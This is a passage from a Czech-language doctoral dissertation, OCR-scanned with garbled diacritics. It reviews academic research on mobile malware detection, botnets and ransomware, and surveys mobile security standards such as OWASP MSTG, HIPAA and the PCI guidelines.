se nejednd o vycCerpavajici zpracovani dane¢ problematiky. PtestoZe knihy
obsahuji uzite¢né informace, chybi jim urcita systematic¢nost a ucelenost, coz je
dano relativné malym poctem stran. Moderni mobilni malware pfedstavuje
nesmirn¢ komplikovanou oblast bezpecnostniho vyzkumu. Zatim na tomto poli
chybi kniha, kterd by komplexné pokryvala danou problematiku. Kniha, ktera by
Ctenafe provedla vSemi dilezitymi aspekty od ziskdvéani vzorki malware ptes
problematiku zakladni a pokrocilé analyzy (a to véetné uskali obfuskace a Anti-
Analysis technik) k jednotlivym tfiddm malwaru a jejich specifi¢nostem danym
mobilitou zafizeni az k analyzam kodi nejvyznamnéjSich predstavitelii
soucasného mobilniho malware.

DalSim dtlezitym informaénim zdrojem jsou ¢lanky, které popisuji vysledky
akademického badani v oblasti mobilniho malwaru. Clanky do jisté miry
nahrazuji nedostatky, které maji knihy zabyvajici se problematikou Skodlivého
software na mobilni platformé. V jednotlivych Clancich se 1ze seznamit s vysoce
specializovanymi problémy a vhodnou volbou ¢lankil je mozné ziskat komplexni
poznatky z dané problematiky. Na obrazku 2.7 jsou vidét pocty ¢lanki vyhledané
na zaklad¢é klicovych slov v databazi Scopus. Dotazy byly provedeny pomoci
logickych operatort AND:

e dotaz OS Android: ,,android AND malware®,
e dotaz pro i0S: ,,jos AND malware*.
Prestoze vysledny graf na obrazku 2.7 vznikl pouze na zaklad¢ dat z ¢lanka
z databaze Scopus, dobfte reflektuje sou€asne trendy v oblasti mobilniho malware:
e existuje mnohem vice malwaru zaméteného na operacni systém Android,
nez na 108 viz [40],
e od roku 2010 do roku 2017 dochazi k plynulému ristu poc¢tu zachyceného
mobilniho malware.

Graf na obrazku 2.7 je dikazem relevance akademického vyzkumu, nebot’ se
pln¢ shoduje s realitou a zaroven ukazuje, ze vyzkumnici z fad akademické obce
pohotové reaguji na aktualni trendy v této oblasti badani.
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Pocet ¢lankl na zakladé klicovych slov
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Obr. 2.7: Pocty clanku vyhledané na zaklade klicovych slov v databazi Scopus
[zdroj viastni]

V nasledujici €asti textu jsou pfedstaveny Clanky, jejichZz vysledky piispély
k tvorbé dizertacni prace.

Prvnim z nich je ¢lanek s ndzvem How Can Botnets Cause Storms?
Understanding the Evolution and Impact of Mobile Botnets [62], ve kterém se
autoft Zhuo Lu Wenye Wang a Cliff Wang zamysli nad zavaznosti moznych
dopadit mobilnich botneti. Na rozdil od internetovych botnetli (PC botnety),
mobilni botnety ke své distribuci nepotiebuji centralizovanou infrastrukturu, ale
mohou vyuzit zranitelnosti uzli v té€sné blizkosti prostfednictvim data
forwardingu. Tyto infekéni mechanismy spol¢haji na mobilitu uzli tim, Ze
vyuzivaji tzv. proximity infection, metodu, kdy infikované¢ chytré mobilni
telefony a tablety (uzly) infikuji ostatni mobilni zatfizeni, ktera jsou pfipojené ve
stejné bezdratové siti. Mobilitou uzll se rozumi pfitomnost jednoho infikované¢ho
zatizeni ve vicero bezdratovych sitich, jelikoz uZivatelé se béhem dne ptipojuji k
Internetu na riznych mistech, doma, v zaméstnani ¢i na vefejnych sitich. Pro
vyzkum evoluce a dopadu mobilnich botnetli byl pouZit stochasticky pftistup.
Autofi zjistili, Ze vySe uvedena mobilita infikovanych uzli mize byt pficinou
masivniho rozSiteni mobilnich botnetd. Za predpokladu, Ze rozsah mobility
dosahne mezni hodnoty, primérna velikost (pocet infikovanych uzl) mobilniho
botnetu roste v pribéhu ¢asu s druhou mocninou. Jinak mtzZe botnet infikovat
omezeny pocet uzll, ktery je vzdy niZsi, neZ u botnet(l, jejichZ rozsah mobility
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dosahne mezni hodnoty. K méteni dopadu DDoS utoku mobilniho botnetu, autofi
definovali vlastni metriku tzv. last chipper time, Cas, ktery sluzba (na kterou je
utoceno) vyzaduje ke zpracovani pozadavku, aniZ by nastal timeout (poZadavek
je vyfizen vcas). Béhem tohoto Casu se botnet $ifi (infikuje dalsi uzly) a provadi
DDoS utoky.

Vysledky vyzkumu odhalily, Ze zvySujici se rychlost internetového ptipojeni
sice sniZuje dobu odezvy mobilnich sluzeb, coZ ma pozitivni vliv na komunikaci
mezi mobilni aplikaci a aplikacnim serverem, ale zaroven vyrazné zvysuje riziko,
Ze mobilni botnety vytadi z provozu sluzbu, na kterou utoci.

Existuje mnoho technik, které se zamétuji na vylepSeni dynamické analyzy
Android malwaru. Stale vSak selhavaji pfi spousténi skrytych skodlivych funkci
malwaru, které jsou chranény tzv. anti-Analysis technikami (Techniky, ve kterych
malware nejprve zjisStuje, jestli je analyzovan. Napf. zda neni malware spoustén
v emulatoru misto skute¢ného mobilniho zafizeni). Clanek nazvany Droid-
AntiRM: Taming control flow anti-Analysis to support automated dynamic
analysis of android malware [63] se snazi uvedeny nedostatek napravit. Autofi
Xiaolei Wang, Sencun Zhu, Dehua Zhou, Yuexiang Yang se ve své praci zamétili
na navrh nastroje Droid-AntiRM, ktery posléze 1 vyvinuli. Droid-AntiRM se
pomoci automatizovanych technik snaZi pfekonat anti-Analysis ochrany malwaru
a zlepSit tak automatickou dynamickou analyzu. Autofi ve svém ¢lanku
predstavili tf1 klicova zjiSténi na zaklad€ analyzy Anti-Analysis malwaru: 1) Anti-
Analysis techniky zaloZené na tzv. Logic-Bomb® (logick4 bomba), fidi spousténi
Skodlivych cCasti kodu malwaru; 11) v malwaru jsou Anti-Analysis techniky
implementovany skrze podminky, které musi byt splnény, aby se Skodliva Cast
kodu spustila; 1ii1) Anti-Analysis techniky nemaji zadnou zavislost na
programovych vstupech. Na ziklad€ vyse uvedenych pozorovani byl vytvofen
Droid-AntiRM, ktery dokdZe detekovat Anti-Analysis ochrany ve vzorcich
malwaru. Navic Droid-AntiRM pomoci ptfepisovani podminek (méni instrukce v
bytecode) piiméje Skodlivé Casti ke spusténi. V ramcei vyzkumu bylo vySetieno
3187 vzorkl malwaru. Vysledky odhalily, ze 32,5 % z testovanych vzorki
pouziva rizné Anti-Analysis techniky. Vysledky provedenych experimenti
rovnéZz naznacuji, ze IntelliDroid’ uspé&sné spustil 51 cilovych API bez integrace
Droid-AntiRM. Po zaclenéni Droid-AntiRM, IntelliDroid spustil dalSich 44
cilovych API, které byly chranény riznymi Anti-Analysis technikami.

¢ Logicka bomba je kus kédu v malwaru, ktery neumozni spousténi Skodlivych funkci, pokud
nejsou splnény vsechny podminky. Napriklad kod zjistuje prostrednictvim své metody hodnotu
IMEI. Pokud metoda vrati hodnotu true, skodliva ¢innost malwaru se vykond. Pokud metoda
vrati false, skodliva ¢innost se nevykona (napriklad malware detekoval sviij beh na emulatoru,
nebot’ IMEI je 000000000000000 misto skutecného IMEI).

7 Michelle Y. Wong a David Lie popsali Intellidroid v ¢lanku Intellidroid: A targeted input
generator for the dynamic analysis of android malware [64], ktery vysel v roce 2016 ve
sborniku Network and Distributed System Security (NDSS).
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Uceni zalozeno na charakteristickych vlastnostech (feature-based learning)
hraje dulezitou roli v procesu budovani a udrzovani bezpecnosti. Klasifikace
malwaru postavend na charakteristickych vlastnostech, které byly ziskany bud’
ze Skodlivych nebo neSkodnych (legitimnich) metod a spolu se zafazenim
malwaru do spravné rodiny zlepSuje bezpecnost operacniho systému a chrani
citlivd osobni data uZzivatel. Autoifi Abdurrahman Pektas a Tankut Acarman
v ¢lanku Ensemble machine learning approach for android malware classification
using hybrid features [65] ptedstavili novy hybridni klasifikacni systém zaloZeny
na charakteristickych vlastnostech, ktery je schopen detekovat Android malware.
Pro klasifikaci jsou pouZity statické a dynamické charakteristiky. Prikladem
statickych charakteristik jsou opravnéni pozadovand mobilni aplikaci a payloady
skryté ve zdrojovém kodu. Dynamicke charakteristiky jsou naptiklad volani API
(API calls), instalované sluzby a sitova piipojeni. Za pouZziti metod strojového
uceni autofi vyhodnotili uroven piesnosti klasifikace riznych klasifikatort,
na které byly aplikovany charakteristické vlastnosti Android malwaru. Mnozina,
ze které byly tyto vlastnosti ziskavany, obsahovala 3339 vzork, které spadaly do
20 riznych rodin malwaru. Experimenty byly provadény osm dni na péti riznych
strojich, pfiCemz testovaci piesnost dosahla 92 % detekce malwaru.

Nasledujici dva €lanky reaguji trend poslednich let, kterym je zvySeny vyskyt
ransomware. Tento narust se nevyhnul ani mobilni platformé. Ransomware se
objevuje zejména pod operacnim systémem Android. Jak jiz bylo popsano vyse,
ransomware se snazi na mobilni platformé vymdéhat penize tim, Ze zamezi
piistupu k zatizeni nebo k datiim uzivatele.

Clanek The state of ransomware. Trends and mitigation techniques [66]
pojednava o ransomware pro Windows, Android, Linux a MacOSX, které¢ jsou
velmi rozSitené. Autofi Alexander Adamov a Anders Carlsson se zam¢ftili na
podrobnou analyzu téchto konkrétnich ransomware: VaultCrypt (CrypVault),
TeslaCrypt, NanoLocker, Trojan-Ransom.Linux.Cryptor, Android Simplelocker,
OSX/KeRanger-A, WannaCry, Petya, NotPetya, Cerber, Spora a Serpent. Pro
i¢ely analyzy byla navrzena mnoZina charakteristik. Uéelem této analyzy bylo
zobecnit charakteristiky ransomware z nasbiranych dat (vyuzivani kryptografie,
platby v digitalni méné napt. Bitcoin). Uvedené charakteristiky popisuji chovani
a trendy modernich ransomware. Na zaklad¢ zjiSt€nych poznatkll byly navrZzeny
techniky, které vedou ke zmirnéni hrozeb, které ransomware predstavuje. Clanek
je jedine¢ny tim, Ze autofi svoji analyzu postavili na 13 klicovych
charakteristikach, které pomadhaji urcit to, co maji analyzované ransomwary
spole¢né¢ho a v ¢em se lisi. Mezi tyto charakteristiky patfi: zplsob distribuce
ransomware (delivery method of ransomware, napt. spam obsahujici Skodlivy
JavaScript v ptiloze), typ souboru ransomware (file type of the ransomware, napf.
APK, EXE, BAT...), platforma (platform, napt. Android, Windows...), zplisob
Sifrovani soubori (files encryption method, RSA-1024, AES-256-CBC, ...), klice
pouzité¢ k Sifrovani souborl (session key, master key, napt. Sifrovaci kli¢ je
pevny/neménny fetézec piimo ve zdrojovém kddu), mista zaSifrovani souborli
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(encryption locations, napf. soubory na SD karté, adresate /var/lib/mysql,
/var/www), mazani zaloh (deleting backup, napt. zda kromé& piivodnich
(nesifrovanych) souboril smaze i stinovou kopii), komunikace s C&C serverem
(communication with C&C server, napt. C&C server, ktery je v siti Tor),
desifrovaci sluzba (decryption service, napt. deSifrovaci funkce se nachazi
ve zdrojovém kodu ransomware), informace o platbach vykupného (payment
information, napif. ransomware NanolLocker poZaduje platbu ve vysi
0,25 Bitcoinu), cilové jazykové mutace ransomware (target audience based on the
language, napf. ruStina, ukrajinstina, angli¢tina, ...), pasivni zplsoby ochrany
ransomware (passive self-protection used by ransomware, naptiklad obfuskace
kodu ransomware), aktivni zplisoby ochrany ransomware (active self-protection
used by ransomware, napi. detekce antivirového programu).

Autofi Jing Chen, Chiheng Wang, Ziming Zhao, Kai Chen, Ruiying Du a Gail-
Joon Ahn ve svém ¢lanku Uncovering the Face of Android Ransomware:
Characterization and Real-Time Detection [67] upozoriiuji nejen na trend stale
cast¢jSiho vyskytu ransomware, ale také poukazuji na vyznamny problém, se
kterym se potyka vyzkumna komunita: nedostatek komplexnich testovacich dat.
Uvedena skutecnost velmi znesnadinuje systematické studium ransomware
problematiky. Autofi se ve svém vyzkumu zaméfili na vlastnosti ransomware
bézictho pod operaCnim systtmem Android. Pro ucely vyzkumu bylo
nashromazdéno 2712 vzorki, které pokryvaji vétSinu souCasnych androidich
rodin ransomware. Na zaklad¢ systematické analyzy téchto vzorkd bylo
stanoveno nékolik aspektli, vCetné Casové posloupnosti chovani a Skodlivych
vlastnosti. Detekéni vysledky sou€asnych antivirovych nastroji  jsou
neuspokojivé, coz ukazuje nutnost vytvofeni UCinnych obrannych prostfedki
proti mobilnimu ransomware. Pro Ucely jeho odhaleni byl navrzen
RansomProber, detekéni systém bézZici v redlném cCase. Vysledky provedenych
experimentll ukazuji, Ze analyzou uZivatelského rozhrani a zejména pak
sledovanim pohybli prsti uZivatele po obrazovce dokdze RansomProber
s vysokou piesnosti urcit, zda Sifrovaci operace byla spusténa uzivatelem nebo
Skodlivou aktivitou.

V roce 2011 pocet aplikaci na Android Market (dnes Google Play) ptedstihl
Apple Store. S nariistem poctu aplikaci se zvySilo 1 riziko vyskytu malware, nebot’
se platforma Android stala popularni nejen pro vyvojare legitimnich aplikaci, ale
také pro tviirce mobilniho malware. Jako odpovéd’ na tuto situaci vznikla fada
clanki, které se zabyvaly vyzkumem chovani malwaru, na jejichz zakladé byly
stanoveny detekéni metody pouZivajici systémova volani, vytiZzeni procesoru
a vyhledavani anomalii. Autofi Nathaniel Lageman, Mark Lindsey a William J.
Glodek ve své praci Detecting malicious Android applications from runtime
behavior [174] navazali a rozsitili na uvedené vyzkumy tim, Ze pouzili Logcat
(). nastroj urceny pro prostiedi ptikazového interpretu, ktery slouzi k zachytavani
logt, jako jsou systémoveé zpravy, chyby aplikaci, vyvolané vyjimky a zpravy
vytvotené pomoci ttidy Log [68]) a ladici vystupy. Uvedené nastroje slouzili
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k utvoteni mnoZin dat popisujicich chovani Skodlivych aplikaci (malware) 1
neSkodnych uZivatelskych programi. Nasledné byly datové mnoZiny pouZity pro
klasifikaci pomoci Random Forest a Support Vector Machines. Vysledky testil
ukazaly, Ze detekce malwaru pfesdhla 90 procent (true positive rate, ptipady, kdy
skute¢ny malware byl detekovan jako malware), zatimco chybovost byla mensi
nez 6 procent (false positive rate, pfipady, kdy legitimni uzivatelské aplikace byly
chybné¢ detekovany jako malware) [174].

Prestoze Clanky publikované na téma mobilni malware piinasi celou fadu
zajimavych a uziteCnych poznatki, maji 1 jistd omezeni. Autofi pro vyzkumneé
ucely Casto vytvari nastroje, které ale na rozdil od publikovanych vysledki nejsou
vefejné¢ dostupne. Tato skutecnost vyrazn€ komplikuje snahy o replikovani
vysledktl a ziskani hlubSiho vhledu do feSen¢ho problému. Dal§im omezenim je
uzké zaméteni Clankd. Velmi ziidka se vyskytuji série na sebe navazujicich
clank, které by svédCily o systematickém zkoumani autorii v dané oblasti.

2.3 Bezpecnostni specifika souc¢asné mobilni platformy

Nové€ vznikajici bezpecnosti mechanismy nemohou byt jednoduse ptevzaty
z PC platformy, nebot’ musi byt vytvofeny s ohledem na vlastnosti, ve kterych se
mobilnich zatizeni 1i8i od osobnich pocitact:

e chytré telefony a tablety jsou neustdle zapnuté (typicky 24/7). To
znamend, Ze jsou vystaveny vlivim malwaru mnohem delsi casovy
ramec, nez je béZzné u osobnich pocitaci. Plisobeni mobilniho malwaru
je dvoji:

o lokéalni — smérem do zafizeni. Skodliva ¢innost je namifena proti
vlastnikovi zafizeni a jeho datim. Malware naptiklad napada
perzistentni pamét’ mobilniho zatizeni,

o on-line — smérem ven ze zafizeni. Napadené zafizeni je zneuZito
k pachani ttokt prostiednictvim on-line prostfedkt. Skodliva
¢innost tak neni primarné namifena proti vlastnikovi zatizeni a jeho
datim (nicméné mizZe dochazet k dil¢im — sekundarnim Skodam,
jako jsou konzumace datového limitu uzivatele, tzv. FUP (Fair User
Policy), ¢i sniZzeni vykonu zatizeni atd.). Typickym predstavitelem je
malware, ktery provadi distribuci spamu nebo DDoS utoky. U tohoto
druhu utokt mohou mobilni zatizeni - diky delsi ¢asové expozici -
napachat vice Skody neZ osobni pocitace,

e dochazi k castému pifepinani mezi celularnimi sitémi (celularni sit’ je
radiova telekomunikacni sit’, ktera zprosttedkovava jak hovory a SMS,
tak mobilni data) a Wi-Fi sitémi. Jedno zafizeni tak vystupuje jako Clen
nckolika naprosto rozdilnych siti. Uvedené chovani na jednu stranu
zpusobuje z pohledu malwaru komplikovanéj$i identifikaci
infikovanych zatfizeni (identifikace je nutna naptiklad pro zasilani
piikazli a vzdalené ovladani napadenych zatizeni). Na druhou stranu

37



muzZe jedno napadené mobilni zafizeni infikovat celou fadu dalSich
zatizeni v riznych sitich,

mobilni zafizeni jsou napdjena bateriemi. Uvedena vlastnost velmi
znesnadniuje b&h rezidentnich S§tith na pozadi, nebot by neumérné
spotfebovavaly elektrickou energii baterie,

omezena velikost a odlisny, ptfisn€jsi, mechanismus spravy operaéni
paméti. Pamét je spravovana tak, aby byl telefonni subsystém k dispozici
za vSech okolnosti (restrikce se vztahuji 1 na antivirové programy),
Application Sandbox — vSechny mobilni aplikace, tedy i antiviry, maji
vykonavani svého kodu 1 sva data oddélena od ostatnich aplikaci
a prostfedkli opera¢niho systému. Sandboxing na jednu stranu zvySuje
celkovou bezpecnost systému, nebot’ utocné ¢i infikované aplikace
nemohou na neupravovanych zatizenich snadno krast data Cistych —
neinfikovanych aplikaci nebo zneuzivat prostiedky opera¢niho systému
(naptiklad fotoaparat, internetové ptipojeni apod.). Na druhou stranu
uvedeny systém velmi znesnadiiuje antivirovym programim komplexni
kontrolu mobilnich aplikaci v redlném €ase pfimo v mobilnich zatizenich
(nebot’ 1 ony jsou zapouzdieny pomoci Sandboxingu).

Spolecnosti, které se zabyvaji vyvojem mobilniho hardwaru, preferuji zisky
pfed bezpecnosti. Hardware, ale 1 software, je vyvijen v mnohem kratSich
vyvojovych cyklech, nez je béZné u osobnich pocitacii. Naptiklad vyrobci
mobilnich telefonil a tabletil svoje klicové modely vydavaji kazdy rok. Operacni
systtm Android vychazi primérné kazdych osm mésicti. Rychlé tempo vyvoje
neumoziuje vytvoreni robustniho designu a jeho bezpecného spojeni s operacnim
systtmem a aplikacemi. Uvedeny pfistup je obvykly u vétSiny vyrobceil, nebot’
bezpecnost nepiindsi pfime zisky a naopak prodrazuje vyvoj.

uprava mobilniho zatizeni, pii které uzivatel ziska prava super uzivatele
(Root/Rootovani Android OS, Jailbreak 10S),

vypnuti/nepouzivani Sifrovani perzistentni paméti mobilniho zatizeni,
instalace mobilnich aplikaci:

o zneoficidlnich (neznamych zdroji),

o 1nstalace upravenych aplikaci (placené aplikace, ze kterych byla
odstranéna softwarova ochrana),

o instalace aplikaci z oficialnich zdroju, které pozaduji vice opravnéni,
neZ potiebuji vzhledem ke své funkcionalité (naptiklad kdyz aplikace
pouzivajici LED diodu fotoapardtu jako svitilnu pozaduje plny
piistup k siti Internet, Cteni a zapis v persistentni paméti mobilniho
zafizeni),

chybgjici zamek obrazovky,

pouzivani vychoziho pinu SIM karty (naptiklad: 1234),

a podobné.

Vyse uvedené informace naznaCuji nutnost vyzkumu detekce mobilniho
malwaru, ktery bude respektovat zvlaStnosti mobilni platformy. Specifika
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uvedena v oddile 2.3 predstavuji vyznamnou piekazku vyzadujici zcela novy
piistup k feSené¢ problematice. Vyzkum provedeny v ramci dizertani prace
naznacuje, Ze velmi slibnou oblasti jsou detekéni mechanismy zaloZene
na umélych neuronovych sitich.

2.4 Analyza soucasnych bezpec¢nostnich standardi a legislativy

Obecné lze tici, Ze bezpecnostni standardy spontanné vznikaji pro oblasti, které
bud’ generuji velké zisky nebo maji zasadni dileZitost. V téchto oblastech jako
prvni vyvstava potteba vytvaret software, ktery bude spliiovat vysoké naroky na
bezpecnost. Z toho diivodu vytvarteji bezpe¢nostni odbornici prednostné soubory
pravidel pro vyvoj mobilnich aplikaci, které vytvareji velkeé zisky nebo jsou
vyznamné. Pro ilustraci lze uvést PCI Mobile Payment Acceptance Security
Guidelines, ktery byl vytvoren ve spolupraci Emerging Technologies a Payment
Card Industry Security Standards Council jako pomicka pro bezpecné
implementovani platebnich procestt do mobilnich aplikaci [69]. V soucasné dobé
jsou v uvedené problematice nejdale Spojené staty americke, nebot’ nejvice snah
o standardizaci pochazi pravé z USA. Naopak v Ceské republice (CR)
bezpecnostni standardy zabyvajici se mobilni platformou zcela chybi. Dizertacni
prace se proto misto analyzou soucasnych Ceskych standardii bude zabyvat
analyzou legislativniho ramce v Ceské republice, ze kterého budou ziskany
relevantni informace pro problematiku bezpecného vyvoje mobilnich aplikaci.
Cesti vyvojafi se snaZi pii vytvareni svych aplikaci drzet zahraniénich standardi.
Ty vSak vychazi z jiného legislativniho rdmce a zohlednuji specifika statll, na
jejichZz Gizemi dané standardy vznikaly. Z vySe uvedeného plyne, Ze zahrani¢ni
standardy nejsou mnohdy pro ¢eské programatory ptili§ vhodné. Ptikladem muze
byt HIPAA (Health Insurance Portability and Accountability Act) Secure pro
zdravotnictvi v USA [70]. Standard HIPAA Secure vznikal v souladu se
zdravotnickou legislativou platnou v USA a nezohlediiuje piislusnou legislativu
platnou v CR.

2.4.1 Analyza soucasnych bezpe¢nostnich standardi ve svété
OWASP

The OWASP Foundation (Open Web Application Security Project) je
neziskova organizace, kterd vznikla ve Spojenych statech americkych. OWASP
nepatii Zadné technologické spole¢nosti a neni orientovana na tvorbu zisku.
Z toho plyne, Ze OWASP je nezavisla organizace poskytujici nestranné
informace. Jde o spoleCenstvi stejné smyslejicich expertil, ktefi se snazi zlepSit
bezpecnost vyvijeného software. Vysledky jejich bezpecnostnich vyzkumil jsou
vSeobecné piijimany odbornou vetejnosti. VSechny nastroje, dokumenty
a vysledky jsou zdarma k dispozici vSem, ktefi se zajimaji o zlepSeni bezpec¢nosti
aplikaci [71]. Pivodné byla organizace zaméfena pouze na webové aplikace, ale
postupem casu se jeji aktivity zna¢né rozrostly. Z hlediska bezpe€nosti mobilnich
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jiné na starosti zvefejiovani seznamu deseti nejvétSich bezpecnostnich hrozeb
na mobilni platform& [72]. Dany seznam je kazdy rok aktualizovan a je
neformalnim ukazatelem, na co by se mély penetracni a forenzni laboratofe pfi
sestavovani svych testovacich metodik zamétit. Velka vétSina laboratofi seznam
Top 10 Mobile Risks dlouhodobé sleduje a reaguje na publikované zmény. V roce
2017 nadace OWASP vytvotila vefejné dostupnou publikaci s ndzvem OWASP
Mobile Security Testing Guide (zkracen¢ MSTG). Jedna se o rozsahlé dilo, ktere
ma krom¢ hlavnich autort, Bernharda Muellera, Svena Schleiera, Romualda
Szkudlareka, Romualda Szkudlareka a Jeroena Willemsena celou fadu
piispévatelt a recenzentii. OWASP MSTG je rozdé€len do tfi samostatnych ¢asti.
Prvni ¢4st nazvand General Testing Guide se tykd obecnych bezpecnostnich
aspektli spojeny s mobilni platformou. V této casti knihy je vysvétlena
problematika testovani kvality programového kodu, specifika kryptografie
na mobilni platformé, testovani sitové komunikace apod. V dalsi ¢asti publikace,
ktera se jmenuje Android Testing Guide jsou vysvétleny specifické problémy
vztahujici se k testovani Android aplikaci. Posledni ¢ast pojmenovana iOS
Testing Guide popisuje problematiku bezpecnosti 10S aplikaci. OWASP Mobile
Security Testing Guide pfedstavuje zcela mimotfadné dilo, které je vyjimecné, jak
svoji otevienosti, tak kvalitou a rozsahem. Dilo je vybaveno velkym mnozstvim
ukazek zdrojovych kodh, snimki obrazovek, doporuc¢enych postupti, obrazki,
grafil a dalSich materialt [73].
Ptesto, Ze se jedna o vynikajici dilo, ma OWASP MSTG, nékolik limit:
e OWASP MSTG je dokoncen pouze z osmdesati procent, viz obrazek 2.8,
e obsahlost publikace, je zarovei 1 jeji slabinou. Velke ¢astit OWASP Mobile
Security Testing Guide jsou udrZzovany dobrovolniky (tzv. contributors),
coZ ma za nasledek, Ze informace zde uvedené nemusi byt vzdy aktualni.
Naptiklad v dobé psani dizertaéni prace nebyl v oddile Testing Tools
funkéni odkaz na Android Tamer®.

8 Android Tamer je Linuxova distribuce zamérenad na bezpecnost mobilnich aplikaci bézZicich
pod operacnim Android. Distribuce obsahuje radu uzitecnych ndastroju, jako jsou napriklad
MobFS, Android Studio, Android SDK Manager a dalsi.
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HIPAA Secure

Health Insurance Portability and Accountability Act (HIPAA) Secure je
standard, ktery se tyka vyvoje bezpecnych medicinskych programi
a informacnich systémi v USA. Jeho hlavnim cilem je zabranit uniku chranénych
zdravotnich informaci, tzv. Protected Health Information (PHI). Standard je
rozpracovan do tii dokumenttl, tzv. Safeguards [70]:

e Administrative Safeguards,

e Technical Safeguards,

e Physical Safeguards.

Dokumenty obsahuji tematicky zaméfena bezpe€nostni pravidla, pficemz
kazdé pravidlo spad4d do jedné z Urovni: Standard, Required a Addressable.
Urovné Standard a Required ukladaji vyvojafim povinnost implementace.
Uroveti Addressable je nutné implementovat pouze v piipads, Ze se dané pravidlo
vztahuje k aktualné vyvijené aplikaci. Piiklad bezpecnostniho pravidla:
“Implement technical policies and procedures for electronic information systems
that maintain electronic protected health information to allow access only to those
persons or software programs that have been granted access rights as specified in
§ 164.308(a)(4)[Information Access Management]|” [74]. HIPAA nedokazala
zachytit masivni nartst vyvoje l€karskych mobilnich aplikaci a vyuZivani
mobilnich zatizeni. Jeji pravidla byla vytvafena pouze s ohledem na osobni
pocitaCe. V souCasné dob¢ jsou dand pravidla povinné ptebirdna i mobilnimi
vyvojafi. Protoze HIPAA nereflektuje mobilni zafizeni, mohou pfi implementaci
na mobilni platformé vznikat zavazné bezpecnostni chyby. Naptiklad: osobni
pocitace jsou statické, proto norma nepocitd s moznym vynaSenim vypocetnich
prostfedki mimo nemocnicni zatfizeni. S HIPAA je Uzce spojen 1 Security Risk
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Assessment Tool (SRA Tool) [75], coZ je néstroj na hodnoceni rizik, ktery je
vytvoren v souladu s legislativou Spojenych stati americkych a zohlednuje pouze
specifické potieby amerického zdravotniho systému. SRA Tool mize byt pouzit
ke zjiSténi, zda je vyvijend mobilni aplikace v souladu s HIPAA.

PCI Mobile Payment Acceptance Security Guidelines

Standard PCI Mobile Payment Acceptance Security Guidelines byl vytvoien
ve spolupraci Emerging Technologies a Payment Card Industry Security
Standards Council jako pomicka pro bezpe¢né implementovani platebnich
procesti do mobilnich aplikaci. Dokument popisuje osmnact bezpecnostnich cili,
které musi mobilni aplikace splnit, aby platby provedené danou aplikaci mohly
byt povazovany za bezpecné. Jedna se vZdy o dvojici bezpe€nostniho cile
(Objective) a doporuceni (Guidance), jak daného cile dosdhnout [76]:

“Objective 3: Prevent account data from interception upon transmission out of
the mobile device.

Guidance:

Ensure that account data is encrypted-i.e., using strong symmetric or
asymmetric cryptography-per PCI DSS Requirement 4, prior to transmission out
of the trusted execution environment of the mobile device. Ensure encrypted
account data is transmitted from a trusted source.

Mobile payment-acceptance applications are vulnerable to numerous types of
attacks meant to intercept data-such as, but not limited to: MITM or passive
eavesdropping (zachytdvani/odposlech) on a compromised device, poorly
implemented cryptography, or eavesdropping through the cellular infrastructure.”

Ackoliv bylo tvorbé standardu vénovano velké Usili a je nezavisly na verzi
mobilniho opera¢niho systému, neni zatim povinny.

Google Security for Android Developers

Google Security for Android Developers je vytvafen a spravovan spolecnosti
Google LLC. Tyka se pouze mobilniho opera¢niho syst¢ému Android. Nejedna se
o standard v pravém slova smyslu, jde spiSe o soubor bezpecnostnich pravidel
(jako napt. App Security Best Practices), které¢ by méli dodrzovat programatoti
vytvarejici mobilni aplikace pro operacni systém Android. Google Security for
Android Developers je publikovan na strankach developer.android.com. Nejveétsi
cast je publikovéana v sekci nazvané Security for Android Developers [77]. Sekce
je dale tematicky rozdé€lena:

App Security Best Practices [78],

Security Tips [79],

Security with HTTPS and SSL [80],

Network Security Configuration [81],

Updating Your Security Provider to Protect Against SSL Exploits [82],
Protecting against Security Threats with SafetyNet [83],
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Android Keystore System [84],

Key Attestation [85],

Supporting Direct Boot [86],

Using Scoped Directory Access [87],
App Security Improvement Program [88].

Problematika bezpeCnosti APK aplikaci je popsana i1 v dalSich c¢astech
developer.android.com, které s bezpecnosti pfimo nesouvisi. Naptiklad pravidlo,
aby aplikace nevytvarely a nepouzivaly lidsky ¢itelné soubory pro ukladani své
konfigurace nebo svych dat. Misto toho by mély aplikace pouzivat robustné;jsi
technologie jako naptiklad: ContentProvider, BroadcastReceiver nebo Service
[89]. Spole¢nost Google LLC vynakladd zna¢né TUsili na zvySovani
bezpecnostniho povédomi mobilnich vyvojafi a analytika. Stranky Security for
Android Developers jsou pravidelné aktualizovany a dopliovany. Rovnéz
obsahuji velké mnozstvi ukdzek zdrojovych kodi, které jsou komentovany.
BohuZzel zde uvedena bezpecnostni pravidla a doporuceni nejsou vzdy po
programdtorech vyZadovana, takZe je mozné na Google Play publikovat i mobilni
aplikace, které¢ je nespliuji.

Forrester Research’s Top 10 Nontechnical Security Issues in Mobile App
Development

Spolecnost Forrester [90] zvolila zcela jiny pfistup k bezpecnostni
problematice mobilni platformy. Zvetejnila seznam deseti netechnickych
problémi, které nejvice negativné ovlivituji bezpecnost mobilnich aplikaci [91].
Ukazuje napftiklad, co se stane, kdyZ nejsou v rozpoc¢tu na vyvoj mobilni aplikace
dostatecné prostfedky na robustni bezpe€nostni navrh, anebo pokud se vyvoj
soustfedi pouze na aplikacni bezpecnost a je zcela opomijeno zajiSténi soukromi
uzivatelskych dat. Seznam vhodné dopliuje vySe uvedené technicky zamétrené
standardy a ukazal se natolik pfinosny, Ze jej zaCala pouZivat velkd vétSina
softwarovych spole€nosti vyvijejici mobilni aplikace.

Shrnuti bezpecnostnich standardii ve svété

Z pododdilt OWASP az Forrester Research’s Top 10 Nontechnical Security
Issues in Mobile App Development vyplyva, Ze snaha o vytvareni bezpe¢nych
mobilnich aplikaci pfinesla fadu uzitecnych standardi, které pomaha;ji fesit dnesni
z&vaznou situaci na poli mobilniho vyvoje. Nicméné jsou zde podstatnd omezeni.
Standardy jsou vzdy uzce zamétené (platebni operace, zdravotnictvi, netechnické
problémy...) a jsou vzajemné nekompatibilni, kdy jeden standard nepiedpoklada
existenci druhého. Nékteré standardy jsou omezené pouZzitelné pro ¢eské mobilni
vyvojafe, protoze vznikly v jiném legislativnim prostiedi, nez ma Cesky
republika. Navic vétSina z nich ma formu doporucenti, kterych by se programatofi
m¢éli drZet, a nejsou povinng.
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2.4.2 Analyza legislativniho ramce v Ceské republice
Zakony souvisejici s technologickou a informacni bezpecnosti

Legislativa v Ceské republice (CR) zatim nezareagovala na masivni narist
mobilnich zafizeni a s nimi spojena specifickd bezpec¢nostni rizika. V naSem
legislativnim ramci existuji zdkony a vyhlaSky vztahujici se obecné
